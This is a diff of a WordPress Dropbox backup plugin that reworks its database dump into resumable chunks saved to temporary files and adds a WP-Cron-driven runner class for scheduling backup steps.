 
 
 
 
 
 
 
 
 
 
 
 
143
  }
144
- WPAdm_Core::log("Optimize Database Tables was Finished");
145
-
146
  }
147
 
148
- public function mysqldump($db, $filename) {
149
- $link = $this->connect($db);
150
- WPAdm_Core::log("MySQL of Dump was started");
151
- $tables = array();
152
- if (!$result = mysqli_query($link, 'SHOW TABLES')) {
153
- $this->setError(mysqli_error($link));
154
- };
155
- while($row = mysqli_fetch_row($result))
156
- {
157
- $tables[] = $row[0];
158
- }
159
-
160
- //cycle through
161
-
162
- $return = '';
163
- $charset = mysqli_get_charset($link);
164
- if (isset($charset->charset)) {
165
- $return .= "SET NAMES '{$charset->charset}';\n\n";
166
- WPAdm_Core::log("SET NAMES Database {$charset->charset};");
167
- }
168
- foreach($tables as $table)
169
- {
170
- WPAdm_Core::log("Add a table {$table} in the database dump");
171
- mysqli_close($link);
172
  $link = $this->connect($db);
173
- if (!$result = mysqli_query($link, 'SELECT * FROM ' . $table)) {
174
- $this->setError(mysqli_error($link));
175
- };
176
- $num_fields = mysqli_num_fields($result);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
177
 
178
- $return.= 'DROP TABLE '.$table.';';
179
- if (!$ress = mysqli_query($link, 'SHOW CREATE TABLE ' . $table)) {
180
- $this->setError(mysqli_error($link));
181
- };
182
 
183
- $row2 = mysqli_fetch_row($ress);
184
- $return.= "\n\n".$row2[1].";\n\n";
 
 
 
185
 
186
- for ($i = 0; $i < $num_fields; $i++)
187
- {
188
- while($row = mysqli_fetch_row($result))
189
- {
190
- $return.= 'INSERT INTO '.$table.' VALUES(';
191
- for($j=0; $j<$num_fields; $j++)
192
- {
193
- //$row[$j] = mb_convert_encoding($row[$j], 'UTF-8', 'auto');
194
- $row[$j] = addslashes($row[$j]);
195
- $row[$j] = str_replace("\n","\\n",$row[$j]);
196
- if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
197
- if ($j<($num_fields-1)) { $return.= ','; }
198
  }
199
- $return.= ");\n";
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
200
  }
201
  }
202
- $return.="\n\n\n";
 
 
 
 
 
 
 
203
  }
204
-
205
- mysqli_close($link);
206
- $handle = fopen($filename,'w+');
207
- fwrite($handle,$return);
208
- fclose($handle);
209
- WPAdm_Core::log("MySQL of Dump was finished");
210
- return true;
211
  }
212
 
213
  private function setError($txt)
214
  {
215
- //WPAdm_Core::log($txt);
216
  throw new Exception($txt);
217
  }
218
 
219
  public function restore($db, $file)
220
  {
221
  $link = $this->connect($db);
222
- WPAdm_Core::log("Restore Database was started");
223
  $fo = fopen($file, "r");
224
  if (!$fo) {
225
- WPAdm_Core::log("Error in open file dump");
226
- $this->setError("Error in open file dump");
227
  return false;
228
  }
229
  $sql = "";
@@ -234,17 +225,17 @@ if (!class_exists('WPAdm_Mysqldump')) {
234
  if ($char_new !== false && $char_new != "\n") {
235
  $sql .= $char_new;
236
  } else {
237
- $ress = mysqli_query($link, $sql);
238
- if (!$ress) {
239
- $this->setError(mysqli_error($link));
240
- WPAdm_Core::log("MySQL Error: " . mysqli_error($link));
241
  break;
242
  };
243
  $sql = "";
244
  }
245
  }
246
  }
247
- WPAdm_Core::log("Restore Database was finished");
248
  }
249
  }
250
  }
8
  public $host = '';
9
  public $user = '';
10
  public $password = '';
11
+ public $dbh = null ;
12
+ public $rows = 1000;
13
 
14
  private function connect($db = '') {
15
+ //WPAdm_Core::log("----------------------------------------------------");
16
+ //WPAdm_Core::log( __('Connecting to MySQL...' ,'dropbox-backup') );
17
+ if (! class_exists('wpdb')) {
18
+ require_once ABSPATH . '/' . WPINC . '/wp-db.php';
19
+ }
20
+ if ($this->dbh === null) {
21
+ global $wpdb;
22
+ if (is_object($wpdb)) {
23
+ $this->dbh = $wpdb;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
24
  } else {
25
+ $this->dbh = new wpdb( $this->user, $this->password, $db, $this->host );
26
+ $errors = $this->dbh->last_error;
27
+ if ($errors) {
28
+ $this->setError( __('MySQL Connect failed: ' ,'dropbox-backup') . $errors);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
29
  }
30
+ if (isset($this->dbh->error->errors) && count($this->dbh->error->errors) > 0 ) {
31
+ $error = '';
32
+ foreach($this->dbh->error->errors as $key => $err) {
33
+ if ($key === 'db_connect_fail') {
34
+ $error .= "Connect fail: Check the number of connections to the database or \n";
35
+ }
36
+ $error .= strip_tags( implode("\n", ($err) ) );
37
+ }
38
+ $this->setError( $error );
39
  }
40
+ }
41
  }
42
+ return $this->dbh;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
43
  }
44
 
45
  public function optimize($db) {
46
+ $proc_data = WPAdm_Running::getCommandResultData('db');
47
+ if (!isset($proc_data['optimize'])) {
48
+ $link = $this->connect($db);
49
+ WPAdm_Core::log( __('Optimize Database Tables was started' ,'dropbox-backup') );
50
+ $n = $link->query('SHOW TABLES');
51
+ $result = $link->last_result;
52
+ if (!empty( $link->last_error ) && $n > 0) {
53
+ $this->setError($link->last_error);
54
+ } else {
55
+ for($i = 0; $i < $n; $i++ ) {
56
+ $res = array_values( get_object_vars( $result[$i] ) );
57
+ $proc_data = WPAdm_Running::getCommandResultData('db');
58
+ if (!isset($proc_data['optimize_table'][$res[0]])) {
59
+ $link->query('OPTIMIZE TABLE '. $res[0]);
60
+ if (!empty( $link->last_error ) ) {
61
+ $tables = isset($proc_data['optimize_table']) ? $proc_data['optimize_table'] : array();
62
+ $tables[$res[0]] = 1;
63
+ $proc_data['optimize_table'] = $tables;
64
+ WPAdm_Running::setCommandResultData('db', $proc_data);
65
+ $log = str_replace('%s', $res[0], __('Error to Optimize Table `%s`' ,'dropbox-backup') );
66
+ WPAdm_Core::log($log);
67
+ } else {
68
+ $log = str_replace('%s', $res[0], __('Optimize Table `%s` was successfully' ,'dropbox-backup') );
69
+ WPAdm_Core::log($log);
70
+ }
71
+ }
72
+ }
73
+ WPAdm_Core::log( __('Optimize Database Tables was Finished' ,'dropbox-backup') );
74
+ $proc_data = WPAdm_Running::getCommandResultData('db');
75
+ $proc_data['optimize'] = true;
76
+ WPAdm_Running::setCommandResultData('db', $proc_data);
77
+ }
78
  }
 
 
79
  }
80
 
81
+ public function mysqldump($db, $filename)
82
+ {
83
+ $proc_data = WPAdm_Running::getCommandResultData('db');
84
+ if (!isset($proc_data['mysqldump'])) {
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
85
  $link = $this->connect($db);
86
+ WPAdm_Core::log( __('MySQL of Dump was started' ,'dropbox-backup') );
87
+ $tables = array();
88
+ $n = $link->query('SHOW TABLES');
89
+ $result = $link->last_result;
90
+ if (!empty( $link->last_error )) {
91
+ $this->setError($link->last_error);
92
+ return false;
93
+ }
94
+ if ($link->last_result === null) {
95
+ /* foreach($link->error->errors as $key => $errors) {
96
+ if ($key == db_connect_fail)
97
+ }*/
98
+ $this->setError(print_r(implode("\n", $link->error->errors), 1));
99
+ return false;
100
+ }
101
+ for($i = 0; $i < $n; $i++ ) {
102
+ $row = array_values( get_object_vars( $result[$i] ) );
103
+ $tables[] = $row[0];
104
+ }
105
+
106
+ foreach($tables as $table) {
107
+ $return = '';
108
+ $proc_data = WPAdm_Running::getCommandResultData('db');
109
+ if (!isset($proc_data['mysqldump_table'][$table])) {
110
 
 
 
 
 
111
 
112
+ $result = $link->last_result;
113
+ if (!empty( $link->last_error ) && $n > 0) {
114
+ $this->setError($link->last_error);
115
+ }
116
+ $return.= 'DROP TABLE IF EXISTS ' . $table . ';';
117
 
118
+ $ress = $link->query('SHOW CREATE TABLE ' . $table);
119
+ $result2 = $link->last_result;
120
+ if (!empty( $link->last_error ) && $n > 0) {
121
+ $this->setError($link->last_error);
 
 
 
 
 
 
 
 
122
  }
123
+ $row2 = array_values( get_object_vars( $result2[0] ) );
124
+ $return.= "\n\n".$row2[1].";\n\n";
125
+
126
+ file_put_contents($filename, $return, FILE_APPEND);
127
+ $proc_data = WPAdm_Running::getCommandResultData('db');
128
+ $proc_data['mysqldump_table'][$table] = 1;
129
+ WPAdm_Running::setCommandResultData('db', $proc_data);
130
+ $log = str_replace('%s', $table, __('Add a table "%s" in the database dump' ,'dropbox-backup') );
131
+ WPAdm_Core::log( $log );
132
+ }
133
+ $while = true;
134
+ while($while) {
135
+ $table_db = WPAdm_Running::getCommandResultData('tabledb');
136
+ if (isset($table_db[$table])) {
137
+ if (isset($table_db[$table]['work']) && $table_db[$table]['work'] == true) {
138
+ $from = $table_db[$table]['from']; // value from
139
+ $to = $table_db[$table]['to']; // value to
140
+ }
141
+ } else {
142
+ $from = 0;
143
+ $to = $this->rows;
144
+ }
145
+ if (isset($from) && !empty($to) && $from >= 0 && $to >= 0) {
146
+ unset($link);
147
+ $link = $this->connect($db);
148
+ $num_fields = $link->query( 'SELECT * FROM ' . $table . " LIMIT {$from}, {$to}" );
149
+ if ($num_fields > 0) {
150
+
151
+ $result2 = $link->last_result;
152
+ for ($i = 0; $i < $num_fields; $i++) {
153
+ $return = '';
154
+ $row = array_values( get_object_vars( $result2[$i] ) );
155
+ //WPAdm_Core::log('row' . print_r($row, 1));
156
+ $rows_num = count($row);
157
+ if ($rows_num > 0) {
158
+ $return.= 'INSERT INTO ' . $table . ' VALUES(';
159
+ for($j=0; $j < $rows_num; $j++) {
160
+ $row[$j] = addslashes($row[$j]);
161
+ $row[$j] = str_replace("\n","\\n",$row[$j]);
162
+ if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
163
+ if ($j<($rows_num-1)) { $return.= ','; }
164
+ }
165
+ $return .= ");\n";
166
+ file_put_contents($filename, $return, FILE_APPEND);
167
+ $from += 1;
168
+ $table_db[$table]['from'] = $from;
169
+ $table_db[$table]['to'] = $to;
170
+ $table_db[$table]['work'] = true;
171
+ WPAdm_Running::setCommandResultData('tabledb', $table_db);
172
+
173
+ }
174
+
175
+ }
176
+ $log = str_replace(array('%s', '%from%', '%to%'), array($table, $from, $to), __('Add a table rows "%s" in the database dump from %from% to %to%' ,'dropbox-backup') );
177
+ WPAdm_Core::log( $log );
178
+ } else {
179
+ $while = false;
180
+ $table_db[$table]['work'] = false;
181
+ WPAdm_Running::setCommandResultData('tabledb', $table_db);
182
+ }
183
+ } else {
184
+ $while = false;
185
+ $table_db[$table]['work'] = false;
186
+ WPAdm_Running::setCommandResultData('tabledb', $table_db);
187
+ }
188
+ }
189
+ if (!isset($proc_data['mysqldump_table'][$table])) {
190
+ $return ="\n\n\n";
191
+ file_put_contents($filename, $return, FILE_APPEND);
192
  }
193
  }
194
+ unset($link);
195
+ WPAdm_Core::log( __('MySQL of Dump was finished' ,'dropbox-backup') );
196
+ $proc_data = WPAdm_Running::getCommandResultData('db');
197
+ $proc_data['mysqldump'] = true;
198
+ WPAdm_Running::setCommandResultData('db', $proc_data);
199
+ return true;
200
+ } else {
201
+ return false;
202
  }
 
 
 
 
 
 
 
203
  }
204
 
205
  private function setError($txt)
206
  {
 
207
  throw new Exception($txt);
208
  }
209
 
210
  public function restore($db, $file)
211
  {
212
  $link = $this->connect($db);
213
+ WPAdm_Core::log( __('Restore Database was started' ,'dropbox-backup') );
214
  $fo = fopen($file, "r");
215
  if (!$fo) {
216
+ WPAdm_Core::log( __('Error in open file dump' ,'dropbox-backup') );
217
+ $this->setError( __('Error in open file dump' ,'dropbox-backup') );
218
  return false;
219
  }
220
  $sql = "";
225
  if ($char_new !== false && $char_new != "\n") {
226
  $sql .= $char_new;
227
  } else {
228
+ $ress = $link->query($sql);
229
+ if (!empty( $link->last_error ) && $n > 0) {
230
+ $this->setError($link->last_error);
231
+ WPAdm_Core::log(__('MySQL Error: ' ,'dropbox-backup') . $link->last_error);
232
  break;
233
  };
234
  $sql = "";
235
  }
236
  }
237
  }
238
+ WPAdm_Core::log(__('Restore Database was finished' ,'dropbox-backup'));
239
  }
240
  }
241
  }
modules/class-wpadm-queue.php CHANGED
@@ -33,12 +33,15 @@ if (!class_exists('WPAdm_Queue')) {
33
  private $id;
34
 
35
  private $error;
 
 
36
 
37
  public function __construct($id) {
38
  $this->id = $id;
39
  }
40
 
41
  public function add(WPAdm_Command_Context $context) {
 
42
  $this->contexts[] = $context;
43
  return $this;
44
  }
@@ -64,7 +67,6 @@ if (!class_exists('WPAdm_Queue')) {
64
  $host = $pu['host'];
65
  $path = isset($pu['path']) ? $pu['path'] . "/" : "/" ;
66
 
67
- //WPAdm_Core::log('execute on host ' . $host);
68
  $data = array(
69
  'method' => 'queue_controller',
70
  'params' => array(
@@ -86,6 +88,8 @@ if (!class_exists('WPAdm_Queue')) {
86
  curl_setopt($curl, CURLOPT_POST, true);
87
  curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
88
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);
 
 
89
  $res = curl_exec($curl);
90
  curl_close($curl);
91
  return $this->wait_result();
@@ -97,7 +101,7 @@ if (!class_exists('WPAdm_Queue')) {
97
  fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
98
  fwrite($socket,"Content-length:".strlen($data)."\r\n");
99
  fwrite($socket,"Accept:*/*\r\n");
100
- fwrite($socket,"User-agent:Opera 10.00\r\n");
101
  fwrite($socket,"Connection:Close\r\n");
102
  fwrite($socket,"\r\n");
103
  fwrite($socket,"$data\r\n");
@@ -118,21 +122,33 @@ if (!class_exists('WPAdm_Queue')) {
118
  }
119
  if (!file_exists($done_file)) {
120
  $this->error = 'No result of the command';
121
- return false;
122
  } else {
123
  $queue = unserialize(file_get_contents($done_file));
124
  if (isset($queue['contexts'][0])) {
125
  $this->error = $queue['contexts'][0]->getError();
126
- return false;
127
  }
128
  }
129
  if (file_exists($done_file)) {
130
  unlink($done_file);
131
  }
 
 
 
132
  return true;
133
  }
 
 
 
 
 
 
 
 
 
134
 
135
  public function save() {
 
 
136
  $file = WPAdm_Core::getTmpDir() . '/' . $this->id. '.queue';
137
  $txt = serialize(
138
  array(
33
  private $id;
34
 
35
  private $error;
36
+
37
+ private $user_agent = 'dropbox-backup user-agent';
38
 
39
  public function __construct($id) {
40
  $this->id = $id;
41
  }
42
 
43
  public function add(WPAdm_Command_Context $context) {
44
+ ini_set("memory_limit", "256M");
45
  $this->contexts[] = $context;
46
  return $this;
47
  }
67
  $host = $pu['host'];
68
  $path = isset($pu['path']) ? $pu['path'] . "/" : "/" ;
69
 
 
70
  $data = array(
71
  'method' => 'queue_controller',
72
  'params' => array(
88
  curl_setopt($curl, CURLOPT_POST, true);
89
  curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
90
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);
91
+ curl_setopt($curl, CURLOPT_USERAGENT, $this->user_agent);
92
+
93
  $res = curl_exec($curl);
94
  curl_close($curl);
95
  return $this->wait_result();
101
  fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
102
  fwrite($socket,"Content-length:".strlen($data)."\r\n");
103
  fwrite($socket,"Accept:*/*\r\n");
104
+ fwrite($socket,"User-agent:" . $this->user_agent. "\r\n");
105
  fwrite($socket,"Connection:Close\r\n");
106
  fwrite($socket,"\r\n");
107
  fwrite($socket,"$data\r\n");
122
  }
123
  if (!file_exists($done_file)) {
124
  $this->error = 'No result of the command';
 
125
  } else {
126
  $queue = unserialize(file_get_contents($done_file));
127
  if (isset($queue['contexts'][0])) {
128
  $this->error = $queue['contexts'][0]->getError();
 
129
  }
130
  }
131
  if (file_exists($done_file)) {
132
  unlink($done_file);
133
  }
134
+ if (!empty($this->error) ) {
135
+ return false;
136
+ }
137
  return true;
138
  }
139
+ private function deleteCommands()
140
+ {
141
+ $files = glob(WPAdm_Core::getTmpDir() . "/wpadm_method_*");
142
+ if (!empty($files)) {
143
+ for($i = 0; $i < $n; $i++) {
144
+ WPAdm_Core::rmdir($files[$i]);
145
+ }
146
+ }
147
+ }
148
 
149
  public function save() {
150
+ ini_set("memory_limit", "256M");
151
+ $this->deleteCommands();
152
  $file = WPAdm_Core::getTmpDir() . '/' . $this->id. '.queue';
153
  $txt = serialize(
154
  array(
class-wpadm-result.php → modules/class-wpadm-result.php RENAMED
@@ -1,117 +1,127 @@
1
- <?php
2
- if (!class_exists('WPAdm_Result')) {
3
- class WPAdm_Result {
4
- /*
5
- * Status of the request.
6
- * Can be either a "success" - the request is successful,
7
- * or "error" - in an error was encountered
8
- * @var string
9
- */
10
- private $result;
11
-
12
- /*
13
- * Text of the error that occurred during query execution
14
- * @var string
15
- */
16
- private $error = '';
17
-
18
- /*
19
- * Data obtained during query execution
20
- * @var mixed
21
- */
22
- private $data;
23
-
24
- /*
25
- * Total size of backup
26
- */
27
- private $size;
28
-
29
- const WPADM_RESULT_SUCCESS = 'success';
30
- const WPADM_RESULT_ERROR = 'error';
31
-
32
- public function __construct() {
33
- $this->result = WPAdm_Result::WPADM_RESULT_ERROR;
34
- }
35
-
36
- /**
37
- * @param mixed $data
38
- */
39
- public function setData($data)
40
- {
41
- $this->data = $data;
42
- }
43
-
44
- /**
45
- * @return mixed
46
- */
47
- public function getData()
48
- {
49
- return $this->data;
50
- }
51
-
52
- /**
53
- * @param string $error
54
- */
55
- public function setError($error)
56
- {
57
- WPAdm_Core::log($error);
58
- $this->error = $error;
59
- }
60
-
61
- /**
62
- * @return string
63
- */
64
- public function getError()
65
- {
66
- return $this->error;
67
- }
68
-
69
- /**
70
- * @param int $size
71
- */
72
- public function setSize($size)
73
- {
74
- $this->size = $size;
75
- }
76
-
77
- /**
78
- * @return int
79
- */
80
- public function getSize()
81
- {
82
- return $this->size;
83
- }
84
-
85
- /**
86
- * @param string $result
87
- */
88
- public function setResult($result)
89
- {
90
- $this->result = $result;
91
- }
92
-
93
- /**
94
- * @return string
95
- */
96
- public function getResult()
97
- {
98
- return $this->result;
99
- }
100
-
101
- public function exchangeArray(array $a) {
102
- $this->result = (isset($a['result'])) ? $a['result'] : '';
103
- $this->data = (isset($a['data'])) ? $a['data'] : '';
104
- $this->error = (isset($a['error'])) ? $a['error'] : '';
105
- $this->size = (isset($a['size'])) ? $a['size'] : '';
106
- }
107
-
108
- public function toArray() {
109
- return array(
110
- 'result' => $this->getResult(),
111
- 'error' => $this->getError(),
112
- 'data' => $this->getData(),
113
- 'size' => $this->getSize()
114
- );
115
- }
116
- }
 
 
 
 
 
 
 
 
 
 
117
  }
1
+ <?php
2
+ if (!class_exists('WPAdm_Result')) {
3
+ class WPAdm_Result {
4
+ /*
5
+ * Status of the request.
6
+ * Can be either a "success" - the request is successful,
7
+ * or "error" - in an error was encountered
8
+ * @var string
9
+ */
10
+ private $result;
11
+
12
+ /*
13
+ * Text of the error that occurred during query execution
14
+ * @var string
15
+ */
16
+ private $error = '';
17
+
18
+ /*
19
+ * Data obtained during query execution
20
+ * @var mixed
21
+ */
22
+ private $data;
23
+
24
+ /*
25
+ * Total size of backup
26
+ */
27
+ private $size;
28
+
29
+ const WPADM_RESULT_SUCCESS = 'success';
30
+ const WPADM_RESULT_ERROR = 'error';
31
+
32
+ public function __construct() {
33
+ $this->result = WPAdm_Result::WPADM_RESULT_ERROR;
34
+ }
35
+
36
+ /**
37
+ * @param mixed $data
38
+ */
39
+ public function setData($data)
40
+ {
41
+ $this->data = $data;
42
+ }
43
+
44
+ public function setValue($val, $data)
45
+ {
46
+ $this->$val = $data;
47
+ }
48
+
49
+ /**
50
+ * @return mixed
51
+ */
52
+ public function getData()
53
+ {
54
+ return $this->data;
55
+ }
56
+
57
+ /**
58
+ * @param string $error
59
+ */
60
+ public function setError($error)
61
+ {
62
+ WPAdm_Core::log($error);
63
+ $this->error = $error;
64
+ }
65
+
66
+ /**
67
+ * @return string
68
+ */
69
+ public function getError()
70
+ {
71
+ return $this->error;
72
+ }
73
+
74
+ /**
75
+ * @param int $size
76
+ */
77
+ public function setSize($size)
78
+ {
79
+ $this->size = $size;
80
+ }
81
+
82
+ /**
83
+ * @return int
84
+ */
85
+ public function getSize()
86
+ {
87
+ return $this->size;
88
+ }
89
+
90
+ /**
91
+ * @param string $result
92
+ */
93
+ public function setResult($result)
94
+ {
95
+ $this->result = $result;
96
+ }
97
+
98
+ /**
99
+ * @return string
100
+ */
101
+ public function getResult()
102
+ {
103
+ return $this->result;
104
+ }
105
+
106
+ public function exchangeArray(array $a) {
107
+ $this->result = (isset($a['result'])) ? $a['result'] : '';
108
+ $this->data = (isset($a['data'])) ? $a['data'] : '';
109
+ $this->error = (isset($a['error'])) ? $a['error'] : '';
110
+ $this->size = (isset($a['size'])) ? $a['size'] : '';
111
+ }
112
+
113
+ public function toArray($all = false) {
114
+
115
+ if ($all) {
116
+ return get_object_vars( $this );
117
+ } else {
118
+ return array(
119
+ 'result' => $this->getResult(),
120
+ 'error' => $this->getError(),
121
+ 'data' => $this->getData(),
122
+ 'size' => $this->getSize()
123
+ );
124
+ }
125
+ }
126
+ }
127
  }
modules/class-wpadm-running.php ADDED
@@ -0,0 +1,240 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Class WPAdm_Running
4
+ */
5
+ if (!class_exists('WPAdm_Running')) {
6
+
7
+ if (function_exists('set_time_limit')) {
8
+ @set_time_limit(0);
9
+ }
10
+ if (function_exists('ini_set')) {
11
+ @ini_set('memory_limit', '2048M');
12
+ }
13
+
14
+
15
+ add_action('drb_run_backup', array('wpadm_running', 'init') );
16
+
17
+ class WPAdm_Running {
18
+
19
+ private static $command_result_data = array();
20
+ private static $command_result = '';
21
+ private static $command_result_id = false;
22
+
23
+ static function init_params_default($method = true)
24
+ {
25
+ update_option(PREFIX_BACKUP_ . "_commands", array());
26
+ update_option(PREFIX_BACKUP_ . "proccess-command", array());
27
+ set_transient('drb_running', 0, 60 * 5);
28
+ $path = WPAdm_Core::getTmpDir();
29
+ if (!empty($path)) {
30
+ WPAdm_Core::rmdir($path . "/db");
31
+ WPAdm_Core::rmdir($path . "/files");
32
+ WPAdm_Core::rmdir($path . "/files2");
33
+ WPAdm_Core::rmdir($path . "/archive");
34
+ WPAdm_Core::rmdir($path . "/command_dropbox");
35
+ WPAdm_Core::rmdir($path . "/errors_sending");
36
+ WPAdm_Core::rmdir($path . "/tabledb");
37
+ if ($method) {
38
+ $files = glob($path ."/wpadm_method*.queue");
39
+ if (!empty($files)) {
40
+ $n = count($files);
41
+ for($i = 0; $i < $n; $i++) {
42
+ WPAdm_Core::rmdir($files[$i]);
43
+ }
44
+ }
45
+ $files = glob($path ."/wpadm_method*.done");
46
+ if (!empty($files)) {
47
+ $n = count($files);
48
+ for($i = 0; $i < $n; $i++) {
49
+ WPAdm_Core::rmdir($files[$i]);
50
+ }
51
+ }
52
+ }
53
+ }
54
+ }
55
+
56
+ static function init()
57
+ {
58
+ $command = self::getCommand();
59
+ if ($command) {
60
+ WPAdm_Core::$cron = false;
61
+ wpadm_class::$type = 'full';
62
+ //$time_load = ini_get("max_execution_time");
63
+ //WPAdm_Core::log('proccess is work ' . $time_load . 'sec');
64
+ /*if ($time_load != 0) {
65
+ self::run($time_load - 5);
66
+ } else {
67
+ self::run(90);
68
+ } */
69
+ self::run(30);
70
+
71
+ if ( self::checkLock() ) {
72
+
73
+ $core = new WPAdm_Core($command, 'full_backup_dropbox', DRBBACKUP_BASE_DIR);
74
+ if ( $result = $core->getResult()->toArray(true) ) {
75
+ if ($result['result'] == 'success') {
76
+ self::delCommand($command['method']);
77
+ set_transient('drb_running', 0, 60 * 5);
78
+ self::stop();
79
+ self::setCommandResultData($command['method'], $result);
80
+ self::init();
81
+ } elseif ($result['result'] == 'error') {
82
+ self::setCommandResultData($command['method'], $result);
83
+ self::stop();
84
+ self::init_params_default();
85
+ }
86
+ }
87
+ }
88
+ }
89
+ }
90
+ public static function checkLock()
91
+ {
92
+ // false - cron is running
93
+ // true - cron not running
94
+ $running_cron = get_transient('drb_running');
95
+ if ($running_cron && $running_cron == 1) {
96
+ $time = microtime( true );
97
+ $locked = get_transient('doing_cron');
98
+
99
+ if ( $locked > $time + 10 * 60 ) { // 10 minutes
100
+ $locked = 0;
101
+ }
102
+ if ((defined('WP_CRON_LOCK_TIMEOUT') && $locked + WP_CRON_LOCK_TIMEOUT > $time) || (!defined('WP_CRON_LOCK_TIMEOUT') && $locked + 60 > $time)) {
103
+ return false;
104
+ }
105
+ if (function_exists('_get_cron_array')) {
106
+ $crons = _get_cron_array();
107
+ } else {
108
+ $crons = get_option('cron');
109
+ }
110
+ if (!is_array($crons)) {
111
+ return false;
112
+ }
113
+
114
+ $values = array_values( $crons );
115
+ if (isset($values['drb_run_backup'])) {
116
+ $keys = array_keys( $crons );
117
+ if ( isset($keys[0]) && $keys[0] > $time ) {
118
+ return false;
119
+ }
120
+ }
121
+ }
122
+ set_transient('drb_running', 1, 60 * 5);
123
+ return true;
124
+ }
125
+
126
+ static function is_running()
127
+ {
128
+ $running = get_transient('drb_running');
129
+ if ($running && $running == 1) {
130
+ return true;
131
+ }
132
+ return false;
133
+ }
134
+
135
+ static function getCommand($command = '')
136
+ {
137
+ $commands = get_option(PREFIX_BACKUP_ . "_commands");
138
+ if ($commands !== false && is_array($commands) && isset($commands[0]) && empty($command) ) {
139
+ return $commands[0];
140
+ } elseif (!empty($command) && $commands !== false && is_array($commands)) {
141
+ $id = wpadm_in_array($command, 'method', $commands, true );
142
+ }
143
+ return false;
144
+ }
145
+ static function setCommand($method, $params = array() )
146
+ {
147
+ $commands = get_option(PREFIX_BACKUP_ . "_commands");
148
+ if ( ( $commands === false ) || !wpadm_in_array($method, 'method', $commands ) ) {
149
+ $commands[] = array('method' => $method, 'params' => $params, 'work' => 0 );
150
+ update_option(PREFIX_BACKUP_ . "_commands", $commands);
151
+ }
152
+ }
153
+ static function delCommand($method)
154
+ {
155
+ $commands = get_option(PREFIX_BACKUP_ . "_commands");
156
+ if ($commands !== false && is_array($commands)) {
157
+ $id = wpadm_in_array($method, 'method', $commands, true);
158
+ unset($commands[$id]);
159
+ if (!empty($commands)) {
160
+ $commands = array_values($commands);
161
+ } else {
162
+ $commands = array();
163
+ }
164
+ update_option(PREFIX_BACKUP_ . "_commands", $commands);
165
+ }
166
+ }
167
+
168
+ static function run($time = false)
169
+ {
170
+ if ($time) {
171
+ $time = $time + time();
172
+ } else {
173
+ $time = time();
174
+ }
175
+ wp_schedule_single_event($time, 'drb_run_backup', array() );
176
+ }
177
+
178
+ static function stop()
179
+ {
180
+ wp_clear_scheduled_hook( 'drb_run_backup', array() );
181
+ }
182
+
183
+ static function setCommandResult($command, $work = false )
184
+ {
185
+ $options = get_option( PREFIX_BACKUP_ . "proccess-command" );
186
+ $id = wpadm_in_array($command, 'command', $options, true );
187
+ self::$command_result = $command;
188
+ if ($options === false || $id === false ) {
189
+ $options[] = array('command' => $command, 'work' => 0);
190
+ self::$command_result_id = wpadm_in_array($command, 'command', $options, true );
191
+ self::$command_result_data = array();
192
+ update_option(PREFIX_BACKUP_ . "proccess-command", $options);
193
+ } else {
194
+ if ($work) {
195
+ $options[$id]['work'] = 1;
196
+ update_option(PREFIX_BACKUP_ . "proccess-command", $options);
197
+ }
198
+ }
199
+ }
200
+
201
+ static function setCommandResultData($command, $data = array())
202
+ {
203
+ $path = WPAdm_Core::getTmpDir();
204
+ self::$command_result_data = $data;
205
+ file_put_contents($path ."/$command", wpadm_pack( $data ) );
206
+ }
207
+ static function delCommandResultData($command)
208
+ {
209
+ $path = WPAdm_Core::getTmpDir();
210
+ if (!empty($path)) {
211
+ WPAdm_Core::rmdir($path . "/$command");
212
+ }
213
+ }
214
+
215
+ static function getCommandResult($command)
216
+ {
217
+ $options = get_option( PREFIX_BACKUP_ . "proccess-command" );
218
+ if ($options !== false) {
219
+ $id = wpadm_in_array($command, 'command', $options, true );
220
+ if ($id !== false && $options[$id]['work'] == 1) {
221
+ return true;
222
+ }
223
+ }
224
+ return false;
225
+ }
226
+ static function getCommandResultData($command)
227
+ {
228
+ if (self::$command_result == $command) {
229
+ return self::$command_result_data;
230
+ } else {
231
+ $path = WPAdm_Core::getTmpDir();
232
+ if (file_exists($path . "/$command")) {
233
+ self::$command_result_data = wpadm_unpack( file_get_contents( $path . "/$command" ) );
234
+ return self::$command_result_data;
235
+ }
236
+ }
237
+ return array();
238
+ }
239
+ }
240
+ }
modules/constant.php ADDED
@@ -0,0 +1,58 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
